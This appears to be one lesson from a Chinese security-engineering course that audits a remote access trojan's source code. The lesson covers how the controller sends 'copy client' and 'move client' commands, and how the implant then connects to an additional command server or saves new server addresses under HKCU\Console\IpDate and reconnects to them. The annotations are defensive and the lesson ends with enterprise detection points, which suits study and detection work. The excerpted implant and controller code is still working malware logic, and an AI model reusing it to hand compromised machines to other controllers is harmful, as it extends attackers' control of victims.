23 / 52 主插件与远程能力

第 23 课:主控复制与转移客户

# 第 23 课:主控复制与转移客户

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课只从源码审计和企业安全工程角度解释“复制客户/转移客户”的命令链路,不提供未授权控制、迁移或扩散的操作步骤。

# 1. 先分清:这里不是文件复制

主控右键菜单里有“复制客户”和“转移客户”。这两个功能容易和文件管理里的“复制文件”混淆,但它们不是一回事。

功能 源码命令 作用概述
复制客户 COMMAND_COPYCLIENT 被控保持原连接,同时按新地址发起一条新的登录连接
转移客户 COMMAND_MOVECLIENT 被控写入新的连接配置,断开当前连接,后续转向新地址

也就是说,它们操作的是“被控连接去哪里”,不是操作文件系统。

1. 先分清:这里不是文件复制(配图)

# 2. 涉及源码

文件 作用
主控\Quick\QuickView.cpp 右键菜单入口,发送复制/转移命令
主控\Quick\CopyClientDlg.cpp 复制/转移客户对话框,组装目标地址配置
主控\Quick\macros.h 主控侧 CopyOrMoveClient 结构体定义
主插件\登录模块\登录模块\LoginManager.h 登录模块侧命令枚举和 CopyOrMoveClient 结构体
主插件\登录模块\登录模块\LoginManager.cpp 被控接收命令后执行复制或转移逻辑

# 3. 主控右键菜单入口

菜单项定义在主控连接列表右键菜单中。

// 源码位置:主控\Quick\QuickView.cpp:437-438
// 防御分析:这两个菜单项属于客户连接管理,不是文件管理。
mListmeau_khd.AppendMenu(MF_STRING | MF_ENABLED, MENU_移机, _T("转移客户"));
mListmeau_khd.AppendMenu(MF_STRING | MF_ENABLED, MENU_复机, _T("复制客户"));
1
2
3
4

用户选择菜单后,主控会弹出 CCopyClientDlg。转移客户传入 true,复制客户使用默认 false

// 源码位置:主控\Quick\QuickView.cpp:1250-1268
case MENU_移机: // 转移客户
{
    // 防御分析:true 表示转移模式。对话框会允许填写三组地址。
    CCopyClientDlg dlg(_T("移动机器"), nullptr, true);
    if (dlg.DoModal() != IDOK)
        return;

    // 防御分析:发送的是 CopyOrMoveClient 结构体,不是文件内容。
    SendSelectCommand((PBYTE)(&dlg.m_stCopyOrMoveClient), sizeof(CopyOrMoveClient));
    log_信息("移动机器");
}
break;

case MENU_复机: // 复制客户
{
    // 防御分析:复制模式只启用第一组地址,目标是新增连接。
    CCopyClientDlg dlg(_T("复制机器"));
    if (dlg.DoModal() != IDOK)
        return;

    SendSelectCommand((PBYTE)(&dlg.m_stCopyOrMoveClient), sizeof(CopyOrMoveClient));
    log_信息("复制机器");
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# 4. 命令结构:CopyOrMoveClient

主控和登录模块都定义了同名结构体。结构体第一字节是命令,后面是配置字符串。

// 源码位置:主控\Quick\macros.h:493-498
// 复制或移动被控端结构体
struct CopyOrMoveClient
{
    byte    token;        // 防御分析:COMMAND_MOVECLIENT 或 COMMAND_COPYCLIENT。
    TCHAR   config[1000]; // 防御分析:目标连接配置,格式类似 |p1:...|o1:...|t1:...|。
};
1
2
3
4
5
6
7

登录模块侧命令枚举如下。

// 源码位置:主插件\登录模块\登录模块\LoginManager.h:12-32
enum LoginManager
{
    COMMAND_DLLMAIN,
    COMMAND_SENDLL,
    COMMAND_CLOSESOCKET,
    COMMAND_GET_PROCESSANDCONDITION,
    COMMAND_GET_SCREEN,
    COMMAND_UPLOAD_EXE,
    COMMAND_DOWN_EXE,
    COMMAND_RENAME,
    COMMAND_FILTERPROCESS,
    COMMAND_MONITOR,
    COMMAND_GETMONITOR,
    COMMAND_CLEANLOG,
    COMMAND_RESTART,
    COMMAND_EXIT,
    COMMAND_LOGOUT,
    COMMAND_REBOOT,
    COMMAND_SHUTDOWN,
    COMMAND_CHANGELOAD,
    COMMAND_MOVECLIENT, // 防御分析:移动被控,写新配置并断开当前连接。
    COMMAND_COPYCLIENT, // 防御分析:拷贝被控,按新配置发起额外连接。
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

4. 命令结构:`CopyOrMoveClient`(配图)

# 5. 主控如何组装复制/转移配置

CCopyClientDlg 根据模式不同启用不同输入项。复制模式只需要第一组地址;转移模式允许三组地址。

// 源码位置:主控\Quick\CopyClientDlg.cpp:59-76
BOOL CCopyClientDlg::OnInitDialog()
{
    CDialog::OnInitDialog();
    SetWindowText(m_strDlgTitle);

    if (!m_isMoveClientType)
    {
        // 防御分析:复制客户只使用第一组连接配置,第二/第三组控件被禁用。
        GetDlgItem(IDC_EDIT_IP2)->EnableWindow(FALSE);
        GetDlgItem(IDC_EDIT_PORT2)->EnableWindow(FALSE);
        GetDlgItem(IDC_COMBO_NET2)->EnableWindow(FALSE);
        GetDlgItem(IDC_EDIT_IP3)->EnableWindow(FALSE);
        GetDlgItem(IDC_EDIT_PORT3)->EnableWindow(FALSE);
        GetDlgItem(IDC_COMBO_NET3)->EnableWindow(FALSE);
        m_combo_net.SetCurSel(0);
        return TRUE;
    }

    // 防御分析:转移客户保留三组地址,便于被控后续轮换连接。
    m_combo_net.SetCurSel(0);
    m_combo_net2.SetCurSel(0);
    m_combo_net3.SetCurSel(0);
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

按下确定时,对话框把用户输入写入 m_stCopyOrMoveClient

// 源码位置:主控\Quick\CopyClientDlg.cpp:80-109
void CCopyClientDlg::OnBnClickedOk()
{
    UpdateData(TRUE);

    if (m_isMoveClientType)
    {
        // 防御分析:转移模式包含三组连接参数。
        CString s = _T("|p1:地址1|o1:端口1|t1:通信1|p2:地址2|o2:端口2|t2:通信2|p3:地址3|o3:端口3|t3:通信3|");
        Setfindinfo(s, _T("地址1"), m_edit_ip.GetBuffer(), NULL);
        Setfindinfo(s, _T("端口1"), m_edit_port.GetBuffer(), NULL);
        Setfindinfo(s, _T("通信1"), NULL, m_combo_net.GetCurSel() ? false : true);

        Setfindinfo(s, _T("地址2"), m_edit_ip2.GetBuffer(), NULL);
        Setfindinfo(s, _T("端口2"), m_edit_port2.GetBuffer(), NULL);
        Setfindinfo(s, _T("通信2"), NULL, m_combo_net2.GetCurSel() ? false : true);

        Setfindinfo(s, _T("地址3"), m_edit_ip3.GetBuffer(), NULL);
        Setfindinfo(s, _T("端口3"), m_edit_port3.GetBuffer(), NULL);
        Setfindinfo(s, _T("通信3"), NULL, m_combo_net3.GetCurSel() ? false : true);

        m_stCopyOrMoveClient.token = COMMAND_MOVECLIENT;
        memcpy(m_stCopyOrMoveClient.config, s.GetBuffer(), s.GetLength() * 2 + 2);
    }
    else
    {
        // 防御分析:复制模式只包含第一组连接参数。
        CString s = _T("|p1:地址1|o1:端口1|t1:通信1|");
        Setfindinfo(s, _T("地址1"), m_edit_ip.GetBuffer(), NULL);
        Setfindinfo(s, _T("端口1"), m_edit_port.GetBuffer(), NULL);
        Setfindinfo(s, _T("通信1"), NULL, m_combo_net.GetCurSel() ? false : true);

        m_stCopyOrMoveClient.token = COMMAND_COPYCLIENT;
        memcpy(m_stCopyOrMoveClient.config, s.GetBuffer(), s.GetLength() * 2 + 2);
    }

    CDialog::OnOK();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

# 6. 登录模块如何处理“转移客户”

转移客户的核心是:写入新配置、更新内存中的 MyInfo、断开当前连接。后续重连时会使用新的配置。

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:557-594
case COMMAND_MOVECLIENT:
{
    CopyOrMoveClient* pMoveClient = new CopyOrMoveClient;
    memcpy(pMoveClient, lpBuffer, nSize);

    // 防御分析:新连接配置写入 HKCU\Console\IpDate。
    // 这是转移客户的重要持久化线索,企业侧应记录注册表写入。
    HKEY hKey;
    ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("Console"), 0, KEY_SET_VALUE, &hKey);
    ::RegDeleteValue(hKey, _T("IpDate"));
    DWORD IpDatesize = nSize - 1;

    if (ERROR_SUCCESS != ::RegSetValueEx(hKey, _T("IpDate"), 0, REG_BINARY,
        (unsigned char*)pMoveClient->config, IpDatesize))
    {
        this->SendLastError(1, _T("失败-移机配置\n"));
        ::RegCloseKey(hKey);
    }
    else
    {
        this->SendLastError(1, _T("成功-移机配置\n"));

        // 防御分析:配置写入成功后,立即更新当前 MyInfo。
        Getfindinfo(pMoveClient->config, _T("p1:"), MyInfo.szAddress, NULL);
        Getfindinfo(pMoveClient->config, _T("o1:"), MyInfo.szPort, NULL);
        Getfindinfo(pMoveClient->config, _T("t1:"), NULL, &(MyInfo.IsTcp));

        Getfindinfo(pMoveClient->config, _T("p2:"), MyInfo.szAddress2, NULL);
        Getfindinfo(pMoveClient->config, _T("o2:"), MyInfo.szPort2, NULL);
        Getfindinfo(pMoveClient->config, _T("t2:"), NULL, &(MyInfo.IsTcp2));

        Getfindinfo(pMoveClient->config, _T("p3:"), MyInfo.szAddress3, NULL);
        Getfindinfo(pMoveClient->config, _T("o3:"), MyInfo.szPort3, NULL);
        Getfindinfo(pMoveClient->config, _T("t3:"), NULL, &(MyInfo.IsTcp3));
        ::RegCloseKey(hKey);

        // 防御分析:延迟后断开当前连接,让后续重连进入新配置。
        Sleep(2000);
        Disconnect();
    }
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

# 7. 登录模块如何处理“复制客户”

复制客户不会覆盖当前连接配置,而是启动一个线程,按新地址重新发起登录流程。

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:599-611
case COMMAND_COPYCLIENT:
{
    CopyOrMoveClient* pCopyClient = new CopyOrMoveClient;
    if (nSize == sizeof(CopyOrMoveClient))
    {
        memcpy(pCopyClient, lpBuffer, nSize);

        // 防御分析:复制客户通过新线程执行 CopyClient,不主动断开当前连接。
        HANDLE hWorker = (HANDLE)_beginthreadex(
            NULL,
            0,
            CopyClient,
            (void*)pCopyClient,
            0,
            NULL);
        CloseHandle(hWorker);
    }
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

CopyClient 线程只解析第一组地址,然后重新建立连接和登录。

// 源码位置:主插件\登录模块\登录模块\LoginManager.cpp:132-181
unsigned int __stdcall CopyClient(void* pVoid)
{
    CopyOrMoveClient* pCopyClient = (CopyOrMoveClient*)pVoid;

    TCHAR szTime[255];
    GetTimeFormat(szTime);

    TCHAR szAddress[255] = { 0 };
    TCHAR szPort[30] = { 0 };
    BOOL IsTcp;

    // 防御分析:复制客户只读取 p1/o1/t1。
    Getfindinfo(pCopyClient->config, _T("p1:"), szAddress, NULL);
    Getfindinfo(pCopyClient->config, _T("o1:"), szPort, NULL);
    Getfindinfo(pCopyClient->config, _T("t1:"), NULL, &(IsTcp));

    while (TRUE)
    {
        ISocketBase* socketClient = NULL;
        if (IsTcp == 1)
            socketClient = new CTcpSocket();
        else
            socketClient = new CUdpSocket();

        // 防御分析:向新地址建立额外连接。
        // 企业侧可观察同一主机在短时间内出现多个控制端连接。
        if (!socketClient->Connect(szAddress, _ttoi(szPort)))
            continue;

        CLoginManager manager(socketClient, szAddress, _ttoi(szPort), IsTcp);
        if (sendLoginInfo(socketClient, szTime, MyInfo.otherset.special) == -1)
        {
            socketClient->Disconnect();
            continue;
        }

        for (int i = 0; (i < 10 && !manager.IsActived()); i++)
            Sleep(1000);

        if (!manager.IsActived())
        {
            socketClient->Disconnect();
            continue;
        }

        socketClient->run_event_loop();
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

7. 登录模块如何处理“复制客户”(配图)

# 8. 两个功能的差异

对比项 复制客户 转移客户
命令 COMMAND_COPYCLIENT COMMAND_MOVECLIENT
配置组数 只用第一组 使用三组
是否写注册表 是,写 HKCU\Console\IpDate
是否断开当前连接 是,Disconnect()
主要效果 增加一条新连接 将被控迁移到新连接配置
检测重点 多控制端连接、额外线程 注册表配置变化、连接断开后转向

# 9. 企业检测点

层面 检测点
主控侧 右键菜单触发 MENU_移机 / MENU_复机,日志出现“移动机器”“复制机器”
协议侧 下发 COMMAND_MOVECLIENTCOMMAND_COPYCLIENT,载荷包含 CopyOrMoveClient
主机侧 COMMAND_MOVECLIENT 写入 HKCU\Console\IpDate
网络侧 转移后原连接断开并转向新地址;复制后同一被控可能新增连接
取证侧 关联主控日志、被控注册表、连接目的地址变化

# 10. 合法练习题

  1. 只读源码,画出 QuickView.cpp -> CopyClientDlg.cpp -> LoginManager.cpp 的调用链。
  2. 对比 COMMAND_COPYCLIENTCOMMAND_MOVECLIENT 的行为差异,说明哪个会写注册表。
  3. 从检测视角解释:为什么“复制客户”可能导致同一被控出现多条控制连接。
  4. 为合规远程运维工具设计一个安全约束:执行转移客户前需要哪些审批、日志和用户提示。

# 11. 本课小结

“复制客户/转移客户”是连接迁移功能,不是文件复制。主控通过 CCopyClientDlg 组装 CopyOrMoveClient,再通过网络命令下发给登录模块。复制客户会启动额外连接线程;转移客户会写入新配置、更新 MyInfo 并断开当前连接。企业侧应重点关注注册表配置变化、连接目的地址变化和多控制端连接现象。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>